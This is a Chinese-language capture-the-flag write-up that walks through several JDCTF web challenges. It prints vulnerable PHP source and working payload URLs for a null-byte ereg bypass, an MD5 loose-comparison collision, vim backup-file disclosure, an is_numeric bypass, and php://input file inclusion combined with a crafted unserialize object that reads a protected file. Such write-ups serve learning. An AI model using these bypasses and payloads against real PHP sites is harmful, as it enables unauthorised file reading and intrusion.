JDCTF-web writeup
- 2019 年 10 月 8 日
- 筆記
偶然看到的刷一刷
签到题~
进入题目
既然签到题F12一下
真的发现了,有提示打开那个js
跑一下就有flag了
你知道正则么?
源码审计
<?php highlight_file(__FILE__); include('flag.php'); if (isset ($_GET['jdctf'])) { if (@ereg ("^[1-9]+$", $_GET['jdctf']) === FALSE) echo "must input number!"; else if (strpos ($_GET['jdctf'],'#biubiubiu') !==FALSE) die('FLAG:'.$flag); else echo 'try again'; } ?>
总共两个判断 第一个函数是 ereg
可以用%00绕过 第二个函数 strpos
用来判断该字符串中有没有 #biubiubiu
因为#在url中有特殊含义所以得用url编码 payload: http://jdctfweb.ngrok.xiaomiqiu.cn/web3-re/?jdctf=123%00%23biubiubiu
还记得hash么?
还是源码
<?php error_reporting(0); include_once('flag.php'); highlight_file('index.php'); $md51 = md5('QNKCDZO'); $a = $_GET['b']; $md52 = md5($a); if(isset($a)){ if ($a != 'QNKCDZO' && $md51 == $md52) { echo $flag; } else { echo "false!!!"; }} ?>
很简单呀=。= 就是拿一个经常用的 240610708
皮皮更健康~
进题目
进入之后 发现是jsfuck
跑一下 出来一串 3D45353D39333D38383D45353D39333D38383D45353D39333D38383D45353D39333D38382C3D45343D42443D41303D45383D41323D41423D45393D41413D39373D45343D42413D38362C3D0A3D45343D42383D38443D45363D39383D41463D45383D42463D39393D45343D42383D41412C3D45353D42303D42313D45393D39373D41453D45343D42443D41303D45383D41373D41333D0A3D45343D42413D38363D45353D38443D38413D45353D41343D41393D45363D42303D39343D45343D42383D38443D45363D42303D3934
不知道啥编码了=。= 16进制解一下
=E5=93=88=E5=93=88=E5=93=88=E5=93=88,=E4=BD=A0=E8=A2=AB=E9=AA=97=E4=BA=86,=n=E4=B8=8D=E6=98=AF=E8=BF=99=E4=B8=AA,=E5=B0=B1=E9=97=AE=E4=BD=A0=E8=A7=A3=n=E4=BA=86=E5=8D=8A=E5=A4=A9=E6=B0=94=E4=B8=8D=E6=B0=94
(让我觉得是misc) 解出来也不知道是啥拖到百度搜索一下
可以看到是 Quoted-printable
编码 之前一直没碰到过=。=
解一下好气啊。。。。再看看题 F12 fuck。。
%3D就是等号还是一个 Quoted-printable
编码
这里有http://ctf.ssleye.com/cvencode.html
119,104,49,116,101,95,49,115,95,115,48,95,104,52,110,100,115,48,109,69
有完没完了。。。一看就知道是ascii码
233333
z
在头里面发现一个hint 16进制的解一下是 MRWWY5DGM46T2===
突然看到url 里面有一个look-misc又是misc吗。。。 三个等号 base32
解一下 出来是 dmltfg==
base64再解一下
vim有两个特性
- vim备份文件 默认情况下使用Vim编程,在修改文件后系统会自动生成一个带~的备份文件,某些情况下可以对其下载进行查看; index.php普遍意义上的首页,输入域名不一定会显示。 它的备份文件则为index.php~
- vim临时文件 vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件,如果原文件名是submit,则它的临时文件 .submit.swp。如果文件正常退出,则此文件自动删除。
找了很久在index.php~发现了。。 源码
<?php header('content-type:text/html;charset=utf-8'); include './flag.php'; error_reporting(0); if(empty($_GET['id'])){ header('location:./1ndex.php'); }else{ $id = $_GET['id']; if (!is_numeric($id)) { $id = intval($id); switch ($id) { case $id>=0: echo "蹇嚭鍘诲惂锛岃蛋閿欒矾浜嗭綖锝烇綖<br>"; echo "杩欎箞绠€鍗曢兘涓嶄細涔堬紵"; break; case $id>=10: exit($flag); break; default: echo "浣犺蛋涓嶅埌杩欎竴姝ョ殑!"; break; } } } ?>
这样就过了
is_numeric
只要后面加任何除数字之外的字母或者符号即可绕过 不过我做的时候发现他的代码和备份好像不一样23333 id为0的时候出来的是flag
PHP
F12源码 23333我喜欢
$user = $_GET["user"]; $file = $_GET["file"]; $pass = $_GET["pass"]; if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){ echo "hello admin!<br>"; include($file); //class.php }else{ echo "you are not admin ! "; }
file_get_contents
出来的内容要和 the userisadmin
相等用php的伪协议php://input post里面放 the user is admin
用伪协议读一下class.php的代码
<?php class Read{//f1a9.php public $file; public function __toString(){ if(isset($this->file)){ echo file_get_contents($this->file); } return "__toString was called!"; } } ?>
反序列化 f1a9.php
读不到 读一下index.php的代码
<?php $user = @$_GET["user"]; $file = @$_GET["file"]; $pass = @$_GET["pass"]; if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){ echo "hello admin!<br>"; if(preg_match("/f1a9/",$file)){ exit(); }else{ include($file); //class.php $pass = unserialize($pass); echo $pass; } }else{ echo "you are not admin ! "; } ?> <!-- $user = $_GET["user"]; $file = $_GET["file"]; $pass = $_GET["pass"]; if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){ echo "hello admin!<br>"; include($file); //class.php }else{ echo "you are not admin ! "; } -->
原来是因为有一个f1a9的waf怪不得读不到 只要构造一个反序列化 来输出flag
构造反序列化 得用file把class.php导入然后才能使用read类 http://jdctfweb.ngrok.xiaomiqiu.cn/web6-php/?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}